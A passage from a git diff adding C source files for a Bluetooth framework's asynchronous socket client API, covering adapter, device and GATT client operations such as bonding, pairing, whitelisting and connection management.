brkey_to_lekey, bool lekey_to_brkey, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_le_enable_key_derivation.brkey_to_lekey = brkey_to_lekey; + packet.adpt_pl._bt_adapter_le_enable_key_derivation.lekey_to_brkey = lekey_to_brkey; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_LE_ENABLE_KEY_DERIVATION, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_le_add_whitelist_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_le_add_whitelist.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_LE_ADD_WHITELIST, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_le_remove_whitelist_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_le_remove_whitelist.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_LE_REMOVE_WHITELIST, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_get_bonded_devices_async(bt_instance_t* ins, bt_transport_t transport, bt_adapter_get_devices_cb_t get_bonded_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_get_bonded_devices.transport = transport; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_BONDED_DEVICES, adapter_get_devices_reply, (void*)get_bonded_cb, userdata); +} + +bt_status_t bt_adapter_get_connected_devices_async(bt_instance_t* ins, bt_transport_t transport, bt_adapter_get_devices_cb_t get_connected_cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_get_connected_devices.transport = transport; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_GET_CONNECTED_DEVICES, adapter_get_devices_reply, (void*)get_connected_cb, userdata); +} + +bt_status_t bt_adapter_set_afh_channel_classification_async(bt_instance_t* ins, uint16_t central_frequency, + uint16_t band_width, uint16_t number, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_afh_channel_classification.central_frequency = central_frequency; + packet.adpt_pl._bt_adapter_set_afh_channel_classification.band_width = band_width; + packet.adpt_pl._bt_adapter_set_afh_channel_classification.number = number; + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_SET_AFH_CHANNEL_CLASSFICATION, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_set_auto_sniff_async(bt_instance_t* ins, bt_auto_sniff_params_t* params, bt_status_cb_t cb, void* userdata) +{ + return BT_STATUS_NOT_SUPPORTED; +} + +bt_status_t bt_adapter_disconnect_all_devices_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_DISCONNECT_ALL_DEVICES, adapter_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_is_support_bredr_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_IS_SUPPORT_BREDR, adapter_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_is_support_le_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_IS_SUPPORT_LE, adapter_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_adapter_is_support_leaudio_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_ADAPTER_IS_SUPPORT_LEAUDIO, adapter_bool_reply, (void*)cb, userdata); +} diff --git a/framework/socket/async/bt_device_async.c b/framework/socket/async/bt_device_async.c new file mode 100644 index 0000000000000000000000000000000000000000..6beb96bcb5284e236a97595dd73b3dd0f357f44a --- /dev/null +++ b/framework/socket/async/bt_device_async.c @@ -0,0 +1,588 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_async.h" +#include "bt_device.h" +#include "bt_message.h" +#include "bt_socket.h" + +static void device_s8_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_s8_cb_t ret_cb = (bt_s8_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, (int8_t)packet->devs_r.v8, userdata); +} + +static void device_status_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_status_cb_t ret_cb = (bt_status_cb_t)cb; + + HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, devs_r, userdata); +} + +static void device_bool_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_bool_cb_t ret_cb = (bt_bool_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.bbool, userdata); +} + +static void device_u16_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_u16_cb_t ret_cb = (bt_u16_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.v16, userdata); +} + +static void device_u32_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_u32_cb_t ret_cb = (bt_u32_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.v32, userdata); +} + +static void device_get_device_type_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_device_type_cb_t ret_cb = (bt_device_type_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_DEVICE_TYPE_UNKNOW, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.dtype, userdata); +} + +static void device_get_name_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_string_cb_t ret_cb = (bt_string_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_pl._bt_device_get_name.name, userdata); +} + +static void device_get_uuids_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_uuids_cb_t ret_cb = (bt_uuids_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, 0, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_pl._bt_device_get_uuids.uuids, packet->devs_pl._bt_device_get_uuids.size, userdata); +} + +static void device_get_alias_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_string_cb_t ret_cb = (bt_string_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_pl._bt_device_get_alias.alias, userdata); +} + +static void device_get_bond_state_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_device_get_bond_state_cb_t ret_cb = (bt_device_get_bond_state_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BOND_STATE_NONE, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.bstate, userdata); +} + +static void device_get_identity_address_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_address_cb_t ret_cb = (bt_address_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, &packet->devs_pl._bt_device_addr.addr, userdata); +} + +static void device_get_address_type_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_device_get_address_type_cb_t ret_cb = (bt_device_get_address_type_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, BT_LE_ADDR_TYPE_UNKNOWN, userdata); + return; + } + + ret_cb(ins, packet->devs_r.status, packet->devs_r.atype, userdata); +} + +static int bt_device_send_async(bt_instance_t* ins, bt_address_t* addr, + bt_message_packet_t* packet, bt_message_type_t code, bt_socket_reply_cb_t reply, void* cb, void* userdata) +{ + memcpy(&packet->devs_pl._bt_device_addr.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, packet, code, reply, cb, userdata); +} + +bt_status_t bt_device_get_identity_address_async(bt_instance_t* ins, bt_address_t* bd_addr, bt_address_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, bd_addr, &packet, BT_DEVICE_GET_IDENTITY_ADDRESS, device_get_identity_address_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_address_type_async(bt_instance_t* ins, bt_address_t* addr, bt_device_get_address_type_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_ADDRESS_TYPE, device_get_address_type_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_device_type_async(bt_instance_t* ins, bt_address_t* addr, bt_device_type_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_DEVICE_TYPE, device_get_device_type_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_name_async(bt_instance_t* ins, bt_address_t* addr, bt_string_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_get_name.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_GET_NAME, device_get_name_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_device_class_async(bt_instance_t* ins, bt_address_t* addr, bt_u32_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_DEVICE_CLASS, device_u32_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_uuids_async(bt_instance_t* ins, bt_address_t* addr, bt_uuids_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_get_uuids.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_GET_UUIDS, device_get_uuids_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_appearance_async(bt_instance_t* ins, bt_address_t* addr, bt_u16_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_APPEARANCE, device_u16_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_rssi_async(bt_instance_t* ins, bt_address_t* addr, bt_s8_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_RSSI, device_s8_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_alias_async(bt_instance_t* ins, bt_address_t* addr, bt_string_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_get_alias.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_GET_ALIAS, device_get_alias_reply, cb, userdata); +} + +bt_status_t bt_device_set_alias_async(bt_instance_t* ins, bt_address_t* addr, + const char* alias, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_alias.addr, addr, sizeof(*addr)); + strncpy(packet.devs_pl._bt_device_set_alias.alias, alias, + sizeof(packet.devs_pl._bt_device_set_alias.alias) - 1); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_ALIAS, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_is_connected_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_is_connected.transport = transport; + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_IS_CONNECTED, device_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_is_encrypted_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_is_encrypted.transport = transport; + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_IS_ENCRYPTED, device_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_is_bond_initiate_local_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_is_bond_initiate_local.transport = transport; + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_IS_BOND_INITIATE_LOCAL, device_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_bond_state_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_device_get_bond_state_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_get_bond_state.transport = transport; + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_GET_BOND_STATE, device_get_bond_state_reply, cb, userdata); +} + +bt_status_t bt_device_is_bonded_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_is_bonded.transport = transport; + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_IS_BONDED, device_bool_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_connect_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_CONNECT, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_disconnect_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_DISCONNECT, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_connect_le_async(bt_instance_t* ins, + bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_connect_le.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_connect_le.type = type; + memcpy(&packet.devs_pl._bt_device_connect_le.param, param, sizeof(*param)); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_CONNECT_LE, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_disconnect_le_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_DISCONNECT_LE, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_connect_request_reply_async(bt_instance_t* ins, bt_address_t* addr, + bool accept, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_connect_request_reply.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_connect_request_reply.accept = accept; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_CONNECT_REQUEST_REPLY, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_connect_all_profile_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_CONNECT_ALL_PROFILE, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_disconnect_all_profile_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_device_send_async(ins, addr, &packet, BT_DEVICE_DISCONNECT_ALL_PROFILE, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_le_phy_async(bt_instance_t* ins, + bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_le_phy.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_le_phy.tx_phy = tx_phy; + packet.devs_pl._bt_device_set_le_phy.rx_phy = rx_phy; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_LE_PHY, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_create_bond_async(bt_instance_t* ins, bt_address_t* addr, + bt_transport_t transport, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_create_bond.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_create_bond.transport = transport; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_CREATE_BOND, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_remove_bond_async(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_remove_bond.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_remove_bond.transport = transport; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_REMOVE_BOND, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_cancel_bond_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_cancel_bond.addr, addr, sizeof(*addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_CANCEL_BOND, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_pair_request_reply_async(bt_instance_t* ins, bt_address_t* addr, bool accept, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_pair_request_reply.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_pair_request_reply.accept = accept; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_PAIR_REQUEST_REPLY, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_pairing_confirmation_async(bt_instance_t* ins, bt_address_t* addr, + uint8_t transport, bool accept, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_pairing_confirmation.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_pairing_confirmation.transport = transport; + packet.devs_pl._bt_device_set_pairing_confirmation.accept = accept; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_PAIRING_CONFIRMATION, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_pin_code_async(bt_instance_t* ins, bt_address_t* addr, bool accept, + char* pincode, int len, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + if (len > sizeof(packet.devs_pl._bt_device_set_pin_code.pincode)) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.devs_pl._bt_device_set_pin_code.addr, addr, sizeof(*addr)); + memcpy(&packet.devs_pl._bt_device_set_pin_code.pincode, pincode, len); + packet.devs_pl._bt_device_set_pin_code.len = len; + packet.devs_pl._bt_device_set_pin_code.accept = accept; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_PIN_CODE, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_pass_key_async(bt_instance_t* ins, bt_address_t* addr, + uint8_t transport, bool accept, uint32_t passkey, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_pass_key.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_pass_key.transport = transport; + packet.devs_pl._bt_device_set_pass_key.accept = accept; + packet.devs_pl._bt_device_set_pass_key.passkey = passkey; + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_PASS_KEY, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_le_legacy_tk_async(bt_instance_t* ins, bt_address_t* addr, + bt_128key_t tk_val, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_le_legacy_tk.addr, addr, sizeof(packet.devs_pl._bt_device_set_le_legacy_tk.addr)); + memcpy(packet.devs_pl._bt_device_set_le_legacy_tk.tk_val, tk_val, sizeof(packet.devs_pl._bt_device_set_le_legacy_tk.tk_val)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_LE_LEGACY_TK, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_set_le_sc_remote_oob_data_async(bt_instance_t* ins, bt_address_t* addr, + bt_128key_t c_val, bt_128key_t r_val, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_set_le_sc_remote_oob_data.addr, addr, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.addr)); + memcpy(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.c_val, c_val, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.c_val)); + memcpy(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.r_val, r_val, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.r_val)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_SET_LE_SC_REMOTE_OOB_DATA, device_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_device_get_le_sc_local_oob_data_async(bt_instance_t* ins, bt_address_t* addr, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_get_le_sc_local_oob_data.addr, addr, sizeof(packet.devs_pl._bt_device_get_le_sc_local_oob_data.addr)); + + return bt_socket_client_send_with_reply(ins, &packet, BT_DEVICE_GET_LE_SC_LOCAL_OOB_DATA, device_status_reply, (void*)cb, userdata); +} \ No newline at end of file diff --git a/framework/socket/async/bt_gattc_async.c b/framework/socket/async/bt_gattc_async.c new file mode 100644 index 0000000000000000000000000000000000000000..02087bf9a5cbae1c6fdc2edb7cfc8766c4ccd942 --- /dev/null +++ b/framework/socket/async/bt_gattc_async.c @@ -0,0 +1,445 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gattc" + +#include <stdint.h> + +#include "bt_async.h" +#include "bt_gattc.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "gattc_service.h" +#include "service_manager.h" +#include "utils/log.h" + +#define CHECK_NULL_PTR(ptr) \ + do { \ + if (!ptr) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +typedef struct { + void* userdata; + void* gattc_remote; + gattc_handle_t* user_phandle; +} bt_gattc_create_connect_data_t; + +typedef struct { + void* userdata; + void* gattc_remote; +} bt_gattc_delete_connect_data_t; + +static void gattc_status_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_status_cb_t ret_cb = (bt_status_cb_t)cb; + + HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, gattc_r, userdata); +} + +static void gattc_get_attribute_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_gattc_get_attribute_cb_t ret_cb = (bt_gattc_get_attribute_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, NULL, userdata); + return; + } + + ret_cb(ins, packet->gattc_r.status, &packet->gattc_r.attr_desc, userdata); +} + +static void gattc_create_connect_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_gattc_create_connect_data_t* data = userdata; + bt_socket_async_client_t* priv = ins->priv; + bt_gattc_create_connect_cb_t ret_cb = (bt_gattc_create_connect_cb_t)cb; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)data->gattc_remote; + + if (!packet || packet->gattc_r.status != BT_STATUS_SUCCESS) + goto error; + + gattc_remote->cookie = INT2PTR(void*) packet->gattc_r.handle; + gattc_remote->user_phandle = data->user_phandle; + bt_list_add_tail(priv->gattc_remote_list, gattc_remote); + *(data->user_phandle) = gattc_remote; + + ret_cb(ins, packet->gattc_r.status, data->user_phandle, data->userdata); + free(userdata); + return; + +error: + if (gattc_remote) { + free(gattc_remote); + } + + if (!bt_list_length(priv->gattc_remote_list)) { + bt_list_free(priv->gattc_remote_list); + priv->gattc_remote_list = NULL; + } + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, data->user_phandle, data->userdata); + free(userdata); + return; + } + + 